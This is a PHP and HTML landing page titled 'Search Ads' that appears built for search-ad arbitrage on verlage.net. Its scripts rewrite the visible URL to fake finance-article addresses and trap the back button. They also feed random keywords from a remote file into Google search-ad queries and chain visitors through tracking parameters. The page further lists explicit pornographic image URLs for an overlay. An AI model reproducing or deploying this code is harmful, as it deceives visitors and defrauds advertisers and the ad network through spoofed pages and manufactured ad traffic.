<?php

$random_images = ['https://cdn3240.nyc3.cdn.digitaloceanspaces.com/fullpng/Charming-brunette-girl-is-receiving-a-big-dick-in-sideways-position-SexVid-xxx-01-24-2025_06_47_PM.png','https://cdn3240.nyc3.cdn.digitaloceanspaces.com/fullpng/Prada-XXX-giving-nice-head-and-getting-harshly-smacked-SexVid-xxx-01-24-2025_06_44_PM.png','https://cdn3240.nyc3.cdn.digitaloceanspaces.com/fullpng/Whore-seduced-boss-to-unconsciously-sleep-with-her-SexVid-xxx-01-24-2025_06_45_PM.png'];
$random_key = array_rand($random_images);
$random_image = $random_images[$random_key];


?>

<!DOCTYPE html>
<html lang="en">

<head>
  <!-- Yandex.Metrika counter -->
<script type="text/javascript" >
   (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
   m[i].l=1*new Date();
   for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
   k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(98893758, "init", {
        clickmap:true,
        trackLinks:true,
        accurateTrackBounce:true,
        webvisor:true
   });
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/98893758" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>Search Ads</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css"
        integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

    <script async="async" src="https://www.google.com/adsense/search/ads.js"></script>
    <script type="text/javascript" charset="utf-8">
        (function (g, o) {
            g[o] = g[o] || function () {
                (g[o]['q'] = g[o]['q'] || []).push(
                    arguments)
            }, g[o]['t'] = 1 * new Date
        })(window, '_googCsa');
    </script>

    <style>
        html,
        body {
           // margin: 0;
          //  padding: 0;
          //  height: 100%;
          //  overflow: hidden;
        }

        .full-page-overlay {
          //  background-image: url('<?= $random_image ?>');
			//background-image: url('./Screenshot 2025-01-24 at 5.06.17 PM.png');

            background-size: contain;
           // background-position: center;
            width: 100vw;
            height: 1000vh;
            position: absolute;
            top: 0;
            left: 0;
            z-index: 10;
            opacity: 1;
            pointer-events: none;
        }

        .container-content {
            position: relative;
            z-index: 5;
        }
    </style>
<script type="text/javascript">
    // Get the value of 'q' from the URL query string
    function getQueryParam(param) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param);
    }

    const q = getQueryParam("q");

    // Array of URLs to redirect to
    const urls = [
        "https://verlage.net/st-george-home-loan-a-comprehensive-guide/",
        "https://verlage.net/",
        "https://verlage.net/norton-finance-a-complete-guide-to-personal-and-business-loans/",
      	"https://verlage.net/do-i-need-to-activate-my-sunlife-gift-card/",
      	"https://verlage.net/american-express-business-credit-card-a-comprehensive-guide/",
      	"https://verlage.net/citi-att-credit-card-everything-you-need-to-know/",
      	"https://verlage.net/benefits-of-refinancing-loans-with-earnest-a-comprehensive-guide/",
      	"https://verlage.net/rocket-mortgage-loan-calculator-your-ultimate-guide/"
    ];

    // Function to redirect
    function redirectToURL() {
        // Randomly select a URL from the array
        const randomIndex = Math.floor(Math.random() * urls.length);
        let selectedURL = urls[randomIndex];

        if (q) {
            // Append the 'q' value to the selected URL
            selectedURL += "?q=" + encodeURIComponent(q);
        }

        // Update the browser history and URL
        history.replaceState({}, "", selectedURL);

        // Optional: Navigate to the new URL
        // window.location.href = selectedURL;
    }

    // Trigger the function to redirect
    redirectToURL();
</script>

   <script>
        function trackClick(){
            const expirationDate = new Date();
            expirationDate.setTime(expirationDate.getTime() + 24 * 60 * 60 * 1000); // 1 day in milliseconds
            document.cookie = 'adsClick=yes; expires=' + expirationDate.toGMTString() + '; path=/';
            window.location.href = "/";
        }
    </script>
</head>

<body>
      <script>
        history.pushState(null, null, document.URL);
        window.addEventListener('popstate', () => {
            window.location.href = window.location.href;
        });
    </script>
    <div class="full-page-overlay"></div>

    <div class="container-content">
      
        <div class="container py-3">
  
           
            <div id="afscontainer3"></div>
                <script async src="https://cse.google.com/cse.js?cx=36b84f94c2e7e4c8b">
                </script>
                    <p style="color: rgb(0, 0, 0); font-size: 10px; text-align:center;"> Ads by Google</p>

            
                <div class="gcse-searchresults-only"></div>
                    <p style="color: rgb(0, 0, 0); font-size: 10px; text-align:center;"> Ads by Google</p>

          <div id="afscontainer1"></div>
            <div id="afscontainer2"></div>

           
          
               </div>

<p style="color: rgb(0, 0, 0); font-size: 10px; text-align:center;"> Ads by Google</p>

        <script type="text/javascript" charset="utf-8">
const g = new XMLHttpRequest();
g.open('GET', "https://verlage.net/loan/key.txt", false);
try {
  g.send();
  if (g.status === 200) {
    const n = g.responseText;
    let number = 1;
    const o = new URLSearchParams(location.search);
    if (o.get('gcn')) {
      number = o.get("gcn");
    }
    let target = Math.floor(Math.random() * 4) + 1;
    if (o.get("gct")) {
      target = o.get('gct');
    }
    const p = n.split("\n").map(a => a.trim()).filter(a => a !== '');
    const r = shuffleArray(p).slice(0, 6).join(", ");
    let h = '';
    if (number === 1 && Math.random() < 0.3) {
      h = "https://verlage.net/blog/ads.php";
    }
    if (!h) {
      if (parseInt(number) <= parseInt(target)) {
        number++;
        h = 'https://verlage.net/blog/index.php?gcn=' + number + "&gct=" + target;
      } else {
        h = "https://verlage.net/blog/ads.php";
      }
    }
    const i = {
      'pubId': "partner-pub-9436842846195156",
      'adsafe': "medium",
      'styleId': "3383664105",
      'adtest': 'on',
      'relatedSearchTargeting': "query",
      'query': r,
      'resultsPageBaseUrl': h,
      'resultsPageQueryParam': 'q'
    };
    const j = {
      'container': "afscontainer1",
      'number': 4,
      'width': 1920
    };
    const k = {
      'container': 'afscontainer2',
      'relatedSearches': 10,
      'width': 1920
    };
     const l = {
      'container': 'afscontainer3',
      'relatedSearches': 2,
      'width': 1920
    };
    _googCsa("ads", i, j, k, l);
  } else {
    console.error("Failed to load the file. Status:", g.status);
  }
} catch (s) {
  console.error("Error during request:", s);
}

function shuffleArray(array) {
  for (let i = array.length - 1; i > 0; i--) {
    const j = Math.floor(Math.random() * (i + 1));
    [array[i], array[j]] = [array[j], array[i]];
  }
  return array;
}
        </script>


    </div>
     <script>

        document.addEventListener('DOMContentLoaded', function () {
            
            let visitCount = 0;
            const cookies = document.cookie.split('; ');
            for (const cookie of cookies) {
                const [name, value] = cookie.split('=');
                if(name==='adsClick'){
                    if(value ==='yes'){
                        window.location.href = "/";
                    }
                }
                if (name === 'visitCount') {
                    visitCount = parseInt(value) || 0;
                }
            }

            
            visitCount++;

            const expirationDate = new Date();
            expirationDate.setTime(expirationDate.getTime() + 24 * 60 * 60 * 1000); // 1 day in milliseconds
            document.cookie = 'visitCount=' + visitCount + '; expires=' + expirationDate.toGMTString() + '; path=/';

            if (visitCount > 5) {
                window.location.href = "/";
            }
        });


    </script>
 
</body>

</html>